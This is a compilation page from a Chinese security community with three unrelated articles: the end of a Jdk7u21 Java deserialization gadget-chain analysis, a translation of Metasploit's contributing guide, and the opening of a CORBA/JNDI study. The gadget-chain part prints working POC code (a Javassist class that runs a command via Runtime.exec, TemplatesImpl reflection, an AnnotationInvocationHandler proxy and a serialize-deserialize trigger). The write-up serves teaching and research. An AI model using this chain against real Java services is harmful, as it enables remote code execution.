在重载方法中对传入的`TemplatesImpl`使用反射创建一个实例化对象。再来看下面的一段代码。
这里看到其实和前面CC2链的构造是一样的。使用`Javassist`动态创建一个类，并将其中的静态代码块设置为`Runtime`执行命令的一段代码，然后将其转换成字节码。可以看到和前面不一样的其实就是这里是使用了`insertAfter`，而前面的链中使用的是`setBody`去在静态代码块中插入恶意代码。但是效果其实都是一样的。可自行尝试。
对应的POC代码：
ClassPool classPool=ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload=classPool.makeClass("CommonsCollections22222222222");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置前面创建的CommonsCollections22222222222类的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
再来看下一段代码。
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});
// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
这个其实有了前面分析了简易化后的利用链POC的基础后，其实很容易懂，这里其实就是使用了`Reflections.setFieldValue`把`templates`里面的`_bytecodes`设置为前面动态创建的类的字节码。
下面的`_name`设置为`Pwnr`字符，而`_tfactory`设置为`TransformerFactoryImpl`由反射创建的实例化对象。
`Reflections.setFieldValue`的底层代码也是由反射去实现的。
对应代码如下：
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);//暴力反射
field.set(templatesImpl,new byte[][]{bytes});
和上面这段代码效果相同，后面设置`_name`和`_tfactory`也是一样的方式，以此类推。
### _name
先来看看这个`_name`为什么要设置该值。在前面也分析过该变量设置值的原因，这里再来叙述一遍。
在执行到`templatesImpl`的`getTransletInstance`方法的时候会先去判断`name`的值如果为空，就会直接返回null，不做下面的执行
### _bytecodes
这个`_bytecodes`前面也分析过。
来看到圈出来的这一段代码，如果`_class`为空，就会调用`this.defineTransletClasses();`方法。
跟进一下。
在圈出来的这一步就会去调用`loader.defineClass`方法然后传入`_bytecodes`,前面是使用了反射将恶意类的字节码赋值给`_bytecodes`。`loader.defineClass`这个方法进行一下跟进。
实际中他的底层是调用了`defineClass`类加载器。关于`defineClass`类加载器可以将一个字节码进行动态加载。
具体可以看我的[Java安全之
ClassLoader类加载器](https://www.cnblogs.com/nice0e3/p/13719903.html)这篇文章。插个题外话，类加载器的调用无非两种方法，要么就是反射去调用，要么就直接继承该类进行重写。
回到刚刚的地方
对`_class`赋值完成后，会在该地方调用`newInstance`进行实例化。而恶意的类的静态代码块中写入的恶意代码就会进行执行。
### _tfactory
看一个大佬的文章说是
在`defineTransletClasses()`时会调用`getExternalExtensionsMap()`,当为null时会报错，所以要对`_tfactory`
设值。但是我在查询的时候并未看到`getExternalExtensionsMap`方法，而且在yso里面将设置`_tfactory`
值的代码给注释了一样能正常执行命令。
在我的物理机 8u181的版本中也没有发现。
后来看到大佬的文章中有该方法
根据大佬的解释是可以看到jdk1.8多了个`_tfactory.getExternalExtensionsMap()`的处理。我们在jdk1.8的环境下跟踪下程序，发现到这里`_tfactory`的值为null,所以执行`_tfactory.getExternalExtensionsMap()`函数时会出错，导致程序异常，不能加载_bytecodes的中的类。
下面再回到刚刚的点，来看下一段POC代码
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);
查看一下`Reflections.getFirstCtor`方法，内部就是使用反射创建一个无参构造的对象
传入的是`Gadgets.ANN_INV_HANDLER_CLASS`查看一下该静态方法。
该方法返回的是`AnnotationInvocationHandler`字符。也就是创建了一个`AnnotationInvocationHandler`的对象，并且调用`newInstance`实例化该对象，传入`Override.class`,`map`。前面说过`AnnotationInvocationHandler`这个类是用来处理注解的，前面的参数需要传入一个注解的参数，后面的需要传入一个map类型参数
简单来说就是使用反射创建了一个`AnnotationInvocationHandler`的实例。
Reflections.setFieldValue(tempHandler, "type", Templates.class);
这一段代码其实没啥好说的，就是把`tempHandler`里面的`type`的变量改成`Templates.class`
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);
再来看到下一段代码,跟进一下`Gadgets.createProxy`方法。
这里面实际上就是使用了`Templates`去做动态代理。
对应POC代码：
Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap);
Templates templates=(Templates)Proxy.newProxyInstance(Templates.class.getClassLoader(),Templates.class.getInterfaces(),invocationHandler);
Object object=constructor.newInstance(Override.class,templates);
接下来就还剩最后一段代码
LinkedHashSet set = new LinkedHashSet(); // maintain order
set.add(templates);
set.add(proxy);
Reflections.setFieldValue(templates, "_auxClasses", null);
Reflections.setFieldValue(templates, "_class", null);
map.put(zeroHashCodeStr, templates); // swap in real object
在下面的代码就很好解释了，实例化一个`LinkedHashSet`对象将`templates`和`proxy`添加进去。
后面的就是将`templates`的`_class`和`_auxClasses`设置为空，前面的分析中提到过，在`templatesImpl`中的`_class`必须为空才会去执行`getTransletInstance`方法。
POC的代码其实也就这么多，因为yso将一些代码做了一个很好的封装，显得代码量也是比较少，但是如果第一次分析利用链就看yso的代码，会比较乱。POC具体为何这么构造会在调试分析中做一个详细的讲解。
## 0x02 Jdk7u21链调试分析
在该工具里面写一个测试类去获取一下，payload。
public static void main(String[] args) throws Exception {
Object calc = new Jdk7u21().getObject("calc");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.out"));
oos.writeObject(calc);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("test.out"));
Object o = ois.readObject();
}
命令执行成功，接下来来分析一下该利用链调用。
这里使用的是`LinkedHashSet.readObject`去作为反序列化的入口点，但是`LinkedHashSet`并没有去实现`readObject`方法，但是该类继承了`HashSet`类，所以这里调用的是`HashSet`的`readObject`方法。在该方法打一个断点。
该方法在此处调用了，`map.put`方法,根据一下该方法。
在这里可以看到调用的是HashMap的put方法，这是为什么呢？查询一下HashSet中的Map成员变量
定义成员变量的时候，该map变量其实就是一个HashMap类的属性。
回到刚才的地方
看到这里执行完后，会跨过for 的代码块，执行下面的代码。因为table值是空的，这里就没法进行遍历。
而后面会使用`addEntry`,将这几个值添加进入，hash的值为hash方法处理`TemplatesImpl`的值，也就是计算了
`TemplatesImpl`的hash值。key为`TemplatesImpl`的实例对象，value则是一个空的Object对象，i参数为`indexFor`方法处理hash后的结果。
回到这次执行完成，会返回到HashSet的这次循环。
再第二次循环的时候，就会进入到该for循环里面
关键点其实就在这个`key.equals`前面说过这个key为`TemplatesImpl`的实例，前面做了一个动态代理，这里调用他的`equals`就会触发到`AnnotationInvocationHandler`的`invoke`方法。
这个地方还会去调用`equalsImpl`方法,跟进一下该方法。
`var8 = var5.invoke(var1);` 语句，这里是通过反射调用 `var1` 对象的 `var5`
方法。跟踪一下`getMemberMethods`方法就知道。
在这里的`this.type`是`templates`对象，使用`getDeclaredMethods`反射获取方法。
在这里可以看到获取到2个方法。在后面还可以看到一个for循环，然后会遍历var2的值。然后下面使用`var8 = var5.invoke(var1);`
反射去调用，这里传入的var是`TemplatesImpl`的实例对象。
这时候就会去调用`getOutputProperties`方法，其实到这步已经是很清晰了。因为后面的调用步骤和前面使用`TemplatesImpl`构造恶意类的调用时一样的。
`getOutputProperties`方法会去调用`newTransformer`方法，`newTransformer`又会去调用`getTransletInstance`方法，
到了后面的就不需要多说了，这里也只是简单描述一下。
### 参考文章
https://b1ue.cn/archives/176.html
https://xz.aliyun.com/t/6884
https://xz.aliyun.com/t/7236#toc-6
## 0x03 结尾
其实在该链中还有一些细节点没去做分析，该链的难点我觉得在于比较绕。这也是为什么后面才去分析这条链的原因，不得不说的一个点是能够完整分析这个链的一些细节点都是大佬，需要有较为深厚的代码功底。 | 社区文章 |
* * *
* 原文地址：<https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md>
* 译者：王一航 2018-05-16
* 校对：王一航 2018-05-16
* * *
# 你好，世界！
非常感谢您对开发 Metasploit 感兴趣，因此，世界 -- 一个更美好的地方！
请问您是想要来报告 BUG 吗？这里是我们的 [Issue tracker](http://r-7.co/MSF-BUGv1)
请尽可能详细地描述您的问题; 包括重现步骤（如果有帮助，从控制台输出中剪切并粘贴）以及您期望发生的事情。
请问您是想要报告一个 Metasploit 自己本身的漏洞吗？多么讽刺！ 请查看 Rapid7
的[漏洞披露政策](https://www.rapid7.com/disclosure.jsp)，并使用我们的[PGP密钥](http://pgp.mit.edu:11371/pks/lookup?op=vindex&search=0x2380F85B8AD4DB8D)将您的报告发送至
[[email protected]](mailto:[email protected])。
请问您是想要提供一些新功能，错误修复或新的 Metasploit 模块吗？ 如果是这样，那么就请继续阅读吧！
# [](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md#contributing-to-metasploit) 为 Metasploit
贡献
您在 CONTRIBUTING.md 中看到的内容是关于如何确保您的宝贵贡献真正融入 Metasploit 主分支以及一些不该做的事情的一个列表。
如果你不关注这些规则，你的贡献 **将** 被关闭。 抱歉!
本文将会是一个简短的列表。 本项目的 [wiki](https://github.com/rapid7/metasploit-framework/wiki)
将会更详尽，揭示了许多谜团。 如果您没有阅读其他内容，请参阅标准 [开发环境设置指南](http://r-7.co/MSF-DEV) 和
[Metasploit 的常见编码错误](https://github.com/rapid7/metasploit-framework/wiki/Common-Metasploit-Module-Coding-Mistakes)。
## [](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md#code-contributions) 代码方面的贡献
* **请** 坚持遵守 [Ruby 风格指南](https://github.com/bbatsov/ruby-style-guide)。
* **请** 根据您添加或修改的代码，使 [Rubocop](https://rubygems.org/search?query=rubocop) 相对安静。（译者注：Rubocop 是 Ruby 的一个代码检查器）
* **请** 对于Git提交消息，遵循 [50/72 规则](http://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html)。
* **请不要** 在分支合并的时候使用默认消息，尽可能留下描述信息。
* **请** 将你的代码在 BSD 3-clause, BSD 2-clause, 或者 MIT 开源许可证下发布
* **请** 创建一个 **主题分支** （译者注：topic branch）来处理，而不是直接在 master 分支上工作。 如果您没有从 **主题分支** 发送 PR（译者注：Pull Request），只要您更新自己的 master 分支，您的 PR 历史将会丢失。 请参阅 <https://github.com/rapid7/metasploit-framework/pull/8000> 以了解其中的一个示例。
### [](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md#pull-requests) Pull Requests
* **请** 将您的 Pull Request 定位到主分支，而不是 staging，develop 或者 release 分支。
* **请** 指定一个描述性的标题来能使你的 Pull Request 被更容易地搜索到。
* **请** 包含 [控制台输出](https://help.github.com/articles/github-flavored-markdown#fenced-code-blocks) ，特别是对于在 `msfconsole` 中可见的效果。
* **请** 列出 [verification steps](https://help.github.com/articles/writing-on-github#task-lists) 验证步骤以便保证你的代码是可被评测的。
* **请** 在您的 Pull Request 说明中引用相关 issue （译者注：如果你的 Pull Request 是为了专门解决某一个 Issue 中提出的问题或者修复某一个 Issue 中提出的 Bug的时候可以参考本条建议）。
* **请** 在你的 Pull Request 被落实（译者注：landed，个人理解为合并了你的 Pull Request）后撰写 [release notes](https://github.com/rapid7/metasploit-framework/wiki/Adding-Release-Notes-to-PRs)
* **请不要** 让你的 Pull Request 的描述为空
* **请不要** 放弃你的 Pull Request， 快速的响应可以帮助我们更快地落实（译者注：land，个人理解为合并你的 Pull Request）你的代码。
Pull requests [PR#2940](https://github.com/rapid7/metasploit-framework/pull/2940) 和 [PR#3043](https://github.com/rapid7/metasploit-framework/pull/3043) 是一组很好的可以被追随的例子。
#### [](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md#new-modules) 新的模块
* **请** 运行 `tools/dev/msftidy.rb` 来检查并修复出现的任何错误或警告。
(<https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/pre-commit-hook.rb>).
* 您最好可以将 `msftidy.rb` 设置为 [pre-commit hook](https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/pre-commit-hook.rb)
* **请** 尽可能使用现有的模块 mixin API（译者注：关于 module mixin，请参考：<https://www.tutorialspoint.com/ruby/ruby_modules.htm，在翻译的时候译者对> Ruby 还不是很熟，这句话可能翻译的不是很准确，给出原文： **Do** use the many module mixin [API](https://rapid7.github.io/metasploit-framework/api)s.） 。我们欢迎您改进轮子，而不是重新造轮子。
* **请不要** 在一个单独的 Pull Request 中包含超过一个的模块（译者注：module）
* **请** 包含关于如何设置易受攻击的环境或软件的说明。
* **请** 包含显示示例运行的[模块文档](https://github.com/rapid7/metasploit-framework/wiki/Generating-Module-Documentation)。
#### [](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md#scripts) 脚本
* **Don't** submit new [scripts](https://github.com/rapid7/metasploit-framework/tree/master/scripts). Scripts are shipped as examples for automating local tasks, and anything "serious" can be done with post modules and local exploits.
* **请不要** 提交新的脚本 [scripts](https://github.com/rapid7/metasploit-framework/tree/master/scripts)， 脚本会作为自动化本地任务的示例发布，任何 “严重” 的事情都可以通过后期模块（译者注：post modules）和本地漏洞利用（译者注：local exploit）来完成。
#### [](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md#library-code) 库代码（译者注：Library Code）
* **请** 编写 [RSpec](http://rspec.info/) 测试用例，因为即使是 library 层的最小变化也可能导致崩溃。
* **请** 按照 [更好的规格说明](http://betterspecs.org/) ，就像规格指南的风格一样。
* **请** 编写 [YARD](http://yardoc.org/) 文档，这会让人们更加容易地使用你的代码。
* **请不要** 在一个 Pull Request 中修复多个问题，较小的修复会更加容易被验证。
#### [](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md#bug-fixes) Bug 修复
* **请** 在验证步骤（译者注：verification steps）中包含重现步骤。
* **请** 在提交描述中包含指向任何相关 [Issues](https://github.com/rapid7/metasploit-framework/issues) 的链接，格式为请参阅 `See #1234`。
## [](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md#bug-reports)Bug 报告
* **请** 将漏洞报告直接发送给 Rapid7 Software [[email protected]](mailto:[email protected]).
* **请** 为您的报告撰写一个描述性的标题和较为详细的描述信息
* **请** 包含重现的步骤、函数调用栈以及其他任何可能对我们修复您的 Bug 有帮助的信息。
* **请不要** 重复提交相同的报告，请在您提交一个新的报告之前先进行搜索确保没有重复。
如果你还需要更多的指南或者有别的疑问，那么你可以在 [Freenode IRC
channel](http://webchat.freenode.net/?channels=%23metasploit&uio=d4)
和主要的开源开发者进行交流 或者 给我们的邮件列表 [metasploit-hackers](https://groups.google.com/forum/#!forum/metasploit-hackers) 发送邮件来咨询。
最后， **感谢** 您花费一小段时间来阅读这篇说明！你已经领先于曲线，所以继续保持！ | 社区文章 |
**作者：Lucifaer
原文链接：<https://lucifaer.com/2020/02/20/Java%20CORBA%E7%A0%94%E7%A9%B6/>**
在说到JNDI的时候，我们最常接触到的都是较为上层的JNDI
SPI（服务端提供的接口），除了常用的RMI、LDAP这些服务，还存在CORBA服务，这篇文章的重点就是来学习一下JNDI如何使用CORBA服务，并以尽量详尽的用例子来解释清楚如何使用CORBA的各个流程。
# 0x01 基础概念
这部分可能会较为枯燥，但是对后续理解有很大的帮助，我尽量用简单的话来描述清楚几个名词。
## 1.1 IDL与Java IDL
IDL全称（Interface Definition
Language）也就是接口定义语言，它主要用于描述软件组件的应用程序编程接口的一种规范语言。它完成了与各种编程语言无关的方式描述接口，从而实现了不同语言之间的通信，这样就保证了跨语言跨环境的远程对象调用。
在基于IDL构建的软件系统中就存在一个OMG IDL（对象管理组标准化接口定义语言），其用于CORBA中。
就如上文所说，IDL是与编程语言无关的一种规范化描述性语言，不同的编程语言为了将其转化成IDL，都制定了一套自用的编译器用于将可读取的OMG
IDL文件转换或映射成相应的接口或类型。Java IDL就是Java实现的这套编译器。
## 1.2 ORB与GIOP、IIOP
ORB全称（Object Request
Broker）对象请求代理。ORB是一个中间件，他在对象间建立一个CS关系，或者更简单点来说，就是一个代理。客户端可以很简单的通过这个媒介使用服务器对象的方法而不需要关注服务器对象是在同一台机器上还是通过远程网络调用的。ORB截获调用后负责找到一个对象以满足该请求。
GIOP全称（General Inter-ORB
Protocol）通用对象请求协议，其功能简单来说就是CORBA用来进行数据传输的协议。GIOP针对不同的通信层有不同的具体实现，而针对于TCP/IP层，其实现名为IIOP（Internet
Inter-ORB Protocol）。所以说通过TCP协议传输的GIOP数据可以称为IIOP。
而ORB与GIOP的关系是GIOP起初就是为了满足ORB间的通信的协议。所以也可以说ORB是CORBA通信的媒介。
# 0x02 CORBA
CORBA全称（Common ObjectRequest Broker
Architecture）也就是公共对象请求代理体系结构，是OMG（对象管理组织）制定的一种标准的面向对象应用程序体系规范。其提出是为了解决不同应用程序间的通信，曾是分布式计算的主流技术。
一般来说CORBA将其结构分为三部分，为了准确的表述，我将用其原本的英文名来进行表述：
* `naming service`
* `client side`
* `servant side`
这三部分组成了CORBA结构的基础三元素，而通信过程也是在这三方间完成的。我们知道CORBA是一个基于网络的架构，所以以上三者可以被部署在不同的位置。`servant
side`可以理解为一个接收`client side`请求的服务端；`naming service`对于`servant
side`来说用于服务方注册其提供的服务，对于`client side`来说客户端将从`naming
service`来获取服务方的信息。这个关系可以简单的理解成目录与章节具体内容的关系：
目录即为`naming service`，`servant
side`可以理解为具体的内容，内容需要首先在目录里面进行注册，这样当用户想要访问具体内容时只需要首先在目录中查找到具体内容所注册的引用（通常为页数），这样就可以利用这个引用快速的找到章节具体的内容。（相信对RMI有所理解的对这种关系不会陌生）
后面我将用一个具体的CORBA通信的demo来具体描述这这三者在通信间的关系。
## 2.1 建立一个CORBA Demo
在阐述CORBA通信前，首先先建立一个用于调试的demo，方便更加清楚的理解上面的概念，以及理清相关关系，之后会深入分析各部分的具体实现。
### 2.1.1 编写IDL
CORBA使用IDL供用户描述其应用程序的接口，所以在编写具体实例前，我们需要使用IDL来描述应用的接口，然后通过Java自身提供的`idlj`编译器将其编译为Java类。
这里的IDL代码描述了一个module名为`HelloApp`中存在一个`Hello`接口，接口中有一个`sayHello()`方法。
### 2.1.2 生成client side
这里直接使用`idlj`来生成`client side`的java类：
idlj -fclient Hello.idl
该命令会自动生成如下的文件：
其关系如下图所示：
其中：
1. `HelloOperations`接口中定义了`Hello.idl`文件中所声明的`sayHello()` 方法。
2. `Hello`继承于`HelloOperations`。
3. `_HelloStub`实现了`Hello`接口，`client side`将使用该类以调用`servant side`的`Hello`接口的具体实现。
4. `HelloHelper`包含帮助函数，用于处理通过网络传输的对象，例如数据编组与反编组的工作（或者说是编码与反编码的工作）。
IDL有三种参数传递方式：in、out和inout。in类型的参数以及返回结果与Java的参数传递方式与结果返回方式完全相同。而out和inout两种类型的参数允许参数具有返回结果的能力，无法直接映射到Java语言的参数传递机制，所以IDL为out和inout参数提供了一个holder，也就是具体实例中的
`HelloHolder`。
其中关键的两个类便是 `_HelloStub`与`HelloHelper` 。这里简单的叙述一下，后面会详细的分析这两个类中的具体逻辑。
首先看先`_HelloStub`或者直接称其为`Stub`:
这里先不看`readObject`及`writeObject`的部分，主要看一下其中实现的`sayHello()`方法。可以看到这里实现了`Hello`接口，而此处的`sayHello()`方法并非其具体的实现，具体的实现是保存在`serant
side`处的，这里的`sayHello()`方法更像一个远程调用真正`sayHello()`方法的“委托人”或者“代理”。
可以注意到关键的两个点是`_request()`及`_invoke()`，而`_request()`完成的流程就是从`naming
service`获取`servant side`的“引用”（简单来说就是`servant side`所注册的信息，便于`client
side`访问`servant side`以获取具体实现类），`_invoke()`完成的就是通过“引用”访问`servant side`以获取具体实现类。
之后我们看一下`HelloHelper`。在`HelloHelper`中有一个常用且重要的方法，那就是`narrow`：
代码很简单，其接受一个`org.omg.CORBA.Object`对象，返回其`Stub`这里可能现在比较难理解，简单看一下`narrow`的使用场景：
关键点时`ncRef.resolve_str()`，这里的`ncRef`是`ORB`（`naming
service`）返回的一个命名上下文，主要看`resolve_str()`的实现：
可以说基本上与`_HelloStub`的`sayHello()`方法一模一样。所以可以说这里是返回一个`Stub`来获取远程的具体实现类。
### 2.1.3 生成servant side
同样也直接可以用`idlj`来生成：
idlj -fserver Hello.idl
注意到除了`HelloPOA`外，其余的两个接口是和`client side`是相同的。
在这里又要涉及到一个新的概念，那就是POA（Portable Object
Adapter）便携式对象适配器（翻译会有所误差），它是CORBA规范的一部分。这里的这个POA虚类是`servant
side`的框架类，它提供了方法帮助我们将具体实现对象注册到`naming service`上。
具体看一下其代码，截图中的代码是其主要的功能：
着重看红框所标注的代码，首先`POA`是`Operations`的实现，也是`org.orm.CORBA.portable.InvokeHandler`的实现，同时继承于`org.omg.PortableServer.Servant`，这保证了`POA`可以拦截`client
side`的请求。
`POA`首先定义了一个Hashtable用于存放`Operations`的方法名，当拦截到请求后会触发`_invoke`方法从Hashtable中以方法名作为索引获取`Operations`具体实现的相应方法，之后创建返回包，并通过网络将其写入`client
side`。
综上，我们可以总结一下`idlj`帮助我们所生成的所有类之间的关系:
从图中我们能看到这些类之间的关系，以及看到`client side`与`servant
side`间所共用的类。不过单单只是这些类是无法完成构成完整的通信的，还需要一些方法来实现一些具体的客户端和服务方法类。
### 2.1.4 servant side具体实现
根据前面几个小结的叙述不难知道`servant side`需要有两个具体的实现类：
* `HelloOperations`的具体实现，需要具体的实现`sayHello()`方法。
* `servant side`的服务端实现，将具体实现的`HelloOperations`注册到`naming service`上
先来看第一个需要实现的类，通过上文我们知道我们具体实现`Operations`的类需要被注册到`naming
service`上，而`POA`作为一个适配器的工作就是帮助我们完成相应的工作以及完成相应请求的响应，所以这里只需要创建一个具体实现类`HelloImpl`继承于`POA`即可：
现在`servant side`的服务类关系及变成了：
现在我们实现了`_HelloStub`要获取的具体实现类`HelloImpl`，同时又有`HelloPOA`来处理网络请求（实际上是由ORB完成处理的），接下来就只需要实现一个服务来接收`client
side`的请求，并将结果返回给`client side`。
这里可以将服务端分为三部分。
第一部分就是激活`POAManager`。CORBA规范定义`POA`对象是需要利用`ORB`从`naming
service`中获取的，同时其在`naming
service`中的命名是`RootPOA`。所以如上图中第一个红框所示，就是初始化`ORB`，并利用`ORB`去访问`naming
service`获取`RootPOA`之后完成激活。
第二部分就是将具体实现类注册到`naming
service`中，具体实现如第二个红框所示。首先会实例化`HelloImpl`，然后通过`ORB`将其转换为`org.omg.CORBA.Object`，最后封装成一个`Stub`。之后从`naming
service`获取`NameService`并将其转换为命名上下文，将`HelloImpl`的别名Hello及其`Stub`绑定到命名上下文中，至此完成了具体注册流程。
第三部分就是将server设置为监听状态持续运行，用于拦截并处理`client side`的请求，返回相应的具体实现类。
### 2.1.5 client side具体实现
通过`servant side`的实现应该可以看出`naming service`只是负责保存具体实例的一个“引用”，如果`client
side`想要真正的获取到具体实现类，就需要首先访问`naming
service`获取这个“引用”，然后访问服务端，之后通过POA的交互返回具体的实例。梳理清楚这一部分后`client side`的实现就呼之而出了:
首先和服务端一样，需要初始化`ORB`，通过`ORB`来获取`NameService`并将其转换成命名上下文。之后通过别名在命名上下文中获取其对应的`Stub`，调用`Stub`中的`sayhello()`方法，这个时候才会完成`client
side`向`servant side`发送请求，`POA`处理请求，并将具体实现的`HelloImpl`包装返回给`client side`。
这里有一个需要注意的，`helloImpl =
HelloHelper.narrow(ncRef.resolve_str(name))`返回的是一个`_HelloStub`而非真正的`HelloImpl`。只要理解清楚这一点，会避免很多误解。
### 2.1.6 naming service的具体实现
ORBD可以理解为ORB的守护进程，其主要负责建立客户端(`client side`)与服务端(`servant
side`)的关系，同时负责查找指定的IOR(可互操作对象引用，是一种数据结构，是CORBA标准的一部分)。ORBD是由Java原生支持的一个服务，其在整个CORBA通信中充当着`naming
service`的作用，可以通过一行命令进行启动：
$ orbd -ORBInitialPort 端口号 -ORBInitialHost url &(表示是否后台执行)
### 2.1.7 执行
当设置并启动`naming
service`后，还需要在`server`和`client`中增添一些代码用来指定ORB在初始化的时候所访问的ORBD的地址，如：
之后完成编译并首先运行`server`保证将具体实现类绑定到`orbd`上，然后再运行`client`完成远程类加载：
至此就完成了CORBA demo的编写。
## 2.2 CORBA的通信过程及各部件之间的关系
根据2.1的叙述，我们大致知道了CORBA编写的流程，同时粗略的了解了CORBA的执行流，这一小节就来梳理一下其中的几种模型以及关系。
### 2.2.1 CORBA通信过程
首先来看一下CORBA的整体通信过程：
1. 启动orbd作为`naming service`，会创建`name service`服务。
2. `corba server`向`orbd`发送请求获取`name service`，协商好通信格式。
3. `orbd`返回保存的`name service`。
4. `corba server`拿到`name service`后将具体的实现类绑定到`name service`上，这个时候`orbd`会拿到注册后的信息，这个信息就是IOR。
5. `corba client`向`orbd`发起请求获取`name service`。
6. `orbd`返回保存的`name service`。
7. `corba client`在`name service`中查找已经注册的信息获取到“引用”的信息(`corba server`的地址等)，通过`orb`的连接功能将远程方法调用的请求转发到`corba server`。
8. `corba server`通过`orb`接收请求，并利用`POA`拦截请求，将请求中所指定的类封装好，同样通过`orb`的连接功能返回给`corba client`。
### 2.2.2 orb在通信中的作用
`orb`在通信中充当的角色可以用一张图来表明：
可以看到`orb`就是充当客户端与服务端通信的一个媒介，而因为处于不同端的`orb`在不同的阶段充当不同的角色，有的时候充当接收请求的服务端，有的时候充当发送请求的客户端，但是其本质一直都是同一个对象（相对于一端来说）。举个例子对于`corba
client`来说在与`corba server`进行通信的过程中，`corba
clint`的`orb`在发送请求的时候充当客户端，在接收返回的时候充当服务端，而`orb`从始至终都是其第一次从`orbd`获取的一个`orb`。对于这样具有通用性质的`orb`，称之为`common
ORB Architecture`也就是通用ORB体系。所以`CORBA`最简单的解释就是通用`orb`体系。
### 2.2.3 Stub及POA的作用
`Stub`是`client side`调用`orb`的媒介，`POA`是`servant
side`用于拦截`client`请求的媒介，而两者在结构上其实都是客户端/服务端调用`orb`的媒介，可以用下面这个图来说明：
`orb`充当客户端与服务端通信的媒介，而客户端或服务端想要调用`orb`来发送/处理请求就需要`Stub`和`skeleton`，这两部分的具体实现就是`Stub`与`POA`。
`Stub`与`POA`分别充当客户端和服务器的代理，具体的流程如下（以2.1的demo为例）：
1. `client`发起调用：`sayHello()`
2. `Stub`封装`client`的调用请求并发送给`orbd`
3. `orbd`接受请求，根据`server`端的注册信息，分派给`server`端处理调用请求
4. `server`端的`orb`接收到请求调用`POA`完成对请求的处理，执行`sayHello()`，并将执行结果进行封装，传递给`orbd`
5. `orbd`接收到`server`端的返回后将其传递给`Stub`
6. `Stub`收到请求后，解析二进制流，提取`server`端的处理结果
7. `Stub`将经过处理后的最终结果返回给`client`调用者
# 0x03 CORBA流程具体分析
接下来将深入代码实现层对CORBA流程进行具体的分析，主要是从`client`端进行分析。
如2.1.5中所提及的，client端的实现大致分为两部分:
* 初始化`ORB`，通过`ORB`来获取`NameService`并将其转换成命名上下文。
* 获取并调用`Stub`中相应的方法，完成rpc流程。
可以发现client的大部分操作都是与`Stub`所关联的，所以我们需要首先深入的分析`Stub`的相关生成过程，才能理解后面的rpc流程。
## 3.1 Stub的生成
`Stub`有很多种生成方式，这里列举三种具有代表性的生成方式：
* 首先获取`NameServer`，后通过`resolve_str()`方法生成（`NameServer`生成方式）
* 使用`ORB.string_to_object`生成（`ORB`生成方式）
* 使用`javax.naming.InitialContext.lookup()`生成（JNDI生成方式）
而以上三种方法都可以总结成两步：
* 从`orbd`获取`NameService`，`NameService`中包含`IOR`。
* 根据`IOR`的信息完成rpc调用。
通过`NameServer`生成方式：
java
Properties properties = new Properties();
properties.put("org.omg.CORBA.ORBInitialHost", "127.0.0.1");
properties.put("org.omg.CORBA.ORBInitialPort", "1050");
ORB orb = ORB.init(args, properties);
org.omg.CORBA.Object objRef = orb.resolve_initial_references("NameService");
NamingContextExt ncRef = NamingContextExtHelper.narrow(objRef);
String name = "Hello";
helloImpl = HelloHelper.narrow(ncRef.resolve_str(name));
通过`ORB`生成方式：
ORB orb = ORB.init(args, null);
org.omg.CORBA.Object obj = orb.string_to_object("corbaname::127.0.0.1:1050#Hello");
Hello hello = HelloHelper.narrow(obj);
或
```java
ORB orb = ORB.init(args, null);
org.omg.CORBA.Object obj = orb.string_to_object("corbaloc::127.0.0.1:1050");
NamingContextExt ncRef = NamingContextExtHelper.narrow(obj);
Hello hello = HelloHelper.narrow(ncRef.resolve_str("Hello"));
```
通过JNDI生成方式：
ORB orb = ORB.init(args, null);
Hashtable env = new Hashtable(5, 0.75f);
env.put("java.naming.corba.orb", orb);
Context ic = new InitialContext(env);
Hello helloRef = HelloHelper.narrow((org.omg.CORBA.Object)ic.lookup("corbaname::127.0.0.1:1050#Hello"));
通过`NameServer`生成方式我们已经很熟悉了，接下来我们来着重看一下通过ORB的生成方式，其实和`Stub`反序列化处的处理是一样的：
关键点就是在`string_to_object()`方法上，跟进看一下，具体实现在`com.sun.corba.se.impl.orb.ORBImpl`：
在`operate`中会对出入的字符串进行协议匹配，这里支持三种协议：
* `IOR`
* `Corbaname`
* `Corbaloc`与`IOR`最终都会生成一个`Stub`
在这里`IOR`是在获取到`IOR`后生成`Stub`完成rpc调用的，而真正无需事先声明获取`NameService`过程，
**直接可以完成rpc调用的就只有`Corbaname`协议和`Corbaloc`协议了**。`Corbaname`与`Corbaloc`在实现上有相近点，具体体现在对url_str的解析以及处理流上。这里我们首先看一下`insURLHandler.parseURL()`对于url_str的解析流程：
